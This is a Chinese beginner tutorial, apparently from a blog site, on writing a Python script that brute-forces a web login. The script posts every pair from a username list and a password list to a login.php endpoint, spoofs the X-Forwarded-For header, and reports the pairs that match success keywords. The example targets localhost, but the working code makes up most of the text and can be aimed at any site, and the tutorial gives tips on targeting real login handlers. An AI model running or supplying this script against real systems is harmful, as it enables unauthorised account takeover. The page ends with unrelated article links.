小白如何利用python编写爆破脚本(一)

简介: 这是一个简单的Python脚本,使用`requests`库进行POST请求密码爆破。脚本读取`usr.txt`和`pwd.txt`文件中的用户名和密码,针对`http://127.0.0.1:80/login.php`发送登录尝试。它模拟浏览器行为,处理响应,并根据用户选择输出所有尝试或仅输出成功登录。成功登录的依据是可以找到预定义的“成功”关键字。代码还包括了延迟和用户交互选项。

咱们先上个简单的脚本,边看着代码边说

# 导入requests库,它允许你发送HTTP请求并处理服务器的响应
import requests
# 读取文件usr.txt中的内容,这通常包含多个用户名,每个用户名一行
use = open('usr.txt', 'r').read()
# 读取文件pwd.txt中的内容,这通常包含多个密码,每个密码一行
pwd = open('pwd.txt', 'r').read()
# 设置目标URL,这里是一个本地运行的web服务器上的登录页面
url = "http://127.0.0.1:80/login.php"
# 对usr.txt中的每一个用户名使用\n作为分隔符
for i in use.split('\n'):
    # 对pwd.txt中的每一个密码使用\n作为分隔符
    for n in pwd.split('\n'):
        # 创建一个字典,其中包含登录表单的数据
        payload = {
   'username': i,
                   'password': n,
                   'login': ''}
        # 创建一个字典,其中包含HTTP头部信息
        headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT)',  # 模拟浏览器的User-Agent字符串
                   'X-Forwarded-For': '127.0.0.1'}  # 指定伪造的客户端IP地址
        # 使用POST方法向URL发送数据(payload),同时附带headers
        r = requests.post(url, data=payload, headers=headers)
        # 设置响应的编码方式为"utf-8",这样可以直接处理中文等非ASCII字符
        r.encoding = "utf-8"
        # 构建一个字符串,包含此次尝试的响应码、用户名、密码以及响应的长度
        rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
        # 打印构建好的字符串,用于监控每次尝试的结果
        print(rr)

这就是一个简单的通过post请求爆破账号密码的脚本,使用的是python的requests模块的功能

具体工作流程:

  1. 读取用户名.密码文件,确定目标url
  2. 利用循环向目标url发送post表单
  3. 将返回包解码并判断返回的响应码,字节
  4. 输出结果

HTTP头的获取

  1. 咱们可以利用burp抓个包,把头文件放在headers列表中,
  2. 有的浏览器插件(比如部分hackbar)也能看头
  3. F12管理员面板

HTTP头直接复制粘贴即可,(但有的网站的cookie有加密,亦或者是动态cookie,还有ip访问次数限制,但这里先不说这个)

post请求爆破

  1. 先抓一下登录功能的包,看一下要交几个参数变量
  2. 将相对应的变量放入payload列表中后利用for循环进行数据发送并捕捉回显

注意/改进

  1. 有的网站登录功能的前后端分开,(即login.html负责输入,login.php负责判断),这样的网站的爆破目标url需设置为php,因为php才是真实的判断登录是否成功的功能点,html只不过是一个媒介而已
  2. 响应文本若含有中文需要进行解码,可以通过查看源码获取页面的编码,通过xxx.encoding="编码方式"来进行解码,不然中文会乱码
  3. 将响应文本处理为,响应码,字节,用户名,密码等格式,也可以增加判断登录成功的条件,比如加入success列表,success=['登陆成功','欢迎','您好'],等等等,通过any(x in success for x in r.text)来进行判断是否成功
  4. 增加使用自定义字典

增加相应的功能后的代码:

import requests
from time import sleep
import re
"""
    爆破程序
    1.读取用户名密码文件
    2.读取url
    3.爆破
    4.输出结果
"""
print("=======================爆破程序准备中=======================")
success = ['欢迎回来', '登陆成功', '欢迎']
use = open('usr.txt', 'r').read()
pwd = open('pwd.txt', 'r').read()

url = "http://127.0.0.1:80/login.php"
sleep(0.5)
print("=========================开始爆破!=========================")
# sleep(0.5)
choice = input('选择爆破结果输出模式:\n a:输出全部结果 s:只输出成功结果\n')
for i in use.split('\n'):
    for n in pwd.split('\n'):
        # print(i,n)

        payload = {
   'username': i,
                   'password': n,
                   'login': ''}
        headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT)',
                   'X-Forwarded-For': '127.0.0.1'}
        r = requests.post(url, data=payload, headers=headers)
        r.encoding = "utf-8"
        if choice == "a":
            rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
            print(rr)
        if choice == "s" and any(s in r.text for s in success):
            print("=========================爆破成功!=========================")
            rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
            print(rr)
sleep(0.5)
input("=========================爆破结束!=========================\n按回车键退出")
相关文章
|
2月前
|
安全 网络安全 文件存储
思科设备巡检命令Python脚本大集合
【10月更文挑战第18天】
96 1
思科设备巡检命令Python脚本大集合
|
1月前
|
数据采集 监控 数据挖掘
Python自动化脚本:高效办公新助手###
本文将带你走进Python自动化脚本的奇妙世界,探索其在提升办公效率中的强大潜力。随着信息技术的飞速发展,重复性工作逐渐被自动化工具取代。Python作为一门简洁而强大的编程语言,凭借其丰富的库支持和易学易用的特点,成为编写自动化脚本的首选。无论是数据处理、文件管理还是网页爬虫,Python都能游刃有余地完成任务,极大地减轻了人工操作的负担。接下来,让我们一起领略Python自动化脚本的魅力,开启高效办公的新篇章。 ###
|
16天前
|
数据采集 存储 监控
21个Python脚本自动执行日常任务(2)
21个Python脚本自动执行日常任务(2)
59 7
21个Python脚本自动执行日常任务(2)
|
1月前
|
关系型数据库 MySQL 数据库连接
python脚本:连接数据库,检查直播流是否可用
【10月更文挑战第13天】本脚本使用 `mysql-connector-python` 连接MySQL数据库,检查 `live_streams` 表中每个直播流URL的可用性。通过 `requests` 库发送HTTP请求,输出每个URL的检查结果。需安装 `mysql-connector-python` 和 `requests` 库,并配置数据库连接参数。
132 68
|
6天前
|
数据挖掘 vr&ar C++
让UE自动运行Python脚本:实现与实例解析
本文介绍如何配置Unreal Engine(UE)以自动运行Python脚本,提高开发效率。通过安装Python、配置UE环境及使用第三方插件,实现Python与UE的集成。结合蓝图和C++示例,展示自动化任务处理、关卡生成及数据分析等应用场景。
47 5
|
23天前
|
Android开发 开发者 Python
通过标签清理微信好友:Python自动化脚本解析
微信已成为日常生活中的重要社交工具,但随着使用时间增长,好友列表可能变得臃肿。本文介绍了一个基于 Python 的自动化脚本,利用 `uiautomator2` 库,通过模拟用户操作实现根据标签批量清理微信好友的功能。脚本包括环境准备、类定义、方法实现等部分,详细解析了如何通过标签筛选并删除好友,适合需要批量管理微信好友的用户。
33 7
|
28天前
|
监控 数据挖掘 数据安全/隐私保护
Python脚本:自动化下载视频的日志记录
Python脚本:自动化下载视频的日志记录
|
1月前
|
运维 监控 网络安全
自动化运维的崛起:如何利用Python脚本简化日常任务
【10月更文挑战第43天】在数字化时代的浪潮中,运维工作已从繁琐的手工操作转变为高效的自动化流程。本文将引导您了解如何运用Python编写脚本,以实现日常运维任务的自动化,从而提升工作效率和准确性。我们将通过一个实际案例,展示如何使用Python来自动部署应用、监控服务器状态并生成报告。文章不仅适合运维新手入门,也能为有经验的运维工程师提供新的视角和灵感。
|
1月前
|
存储 Python
Python自动化脚本编写指南
【10月更文挑战第38天】本文旨在为初学者提供一条清晰的路径,通过Python实现日常任务的自动化。我们将从基础语法讲起,逐步引导读者理解如何将代码块组合成有效脚本,并探讨常见错误及调试技巧。文章不仅涉及理论知识,还包括实际案例分析,帮助读者快速入门并提升编程能力。
76 2
|
1月前
|
运维 监控 Python
自动化运维:使用Python脚本简化日常任务
【10月更文挑战第36天】在数字化时代,运维工作的效率和准确性成为企业竞争力的关键。本文将介绍如何通过编写Python脚本来自动化日常的运维任务,不仅提高工作效率,还能降低人为错误的风险。从基础的文件操作到进阶的网络管理,我们将一步步展示Python在自动化运维中的应用,并分享实用的代码示例,帮助读者快速掌握自动化运维的核心技能。
88 3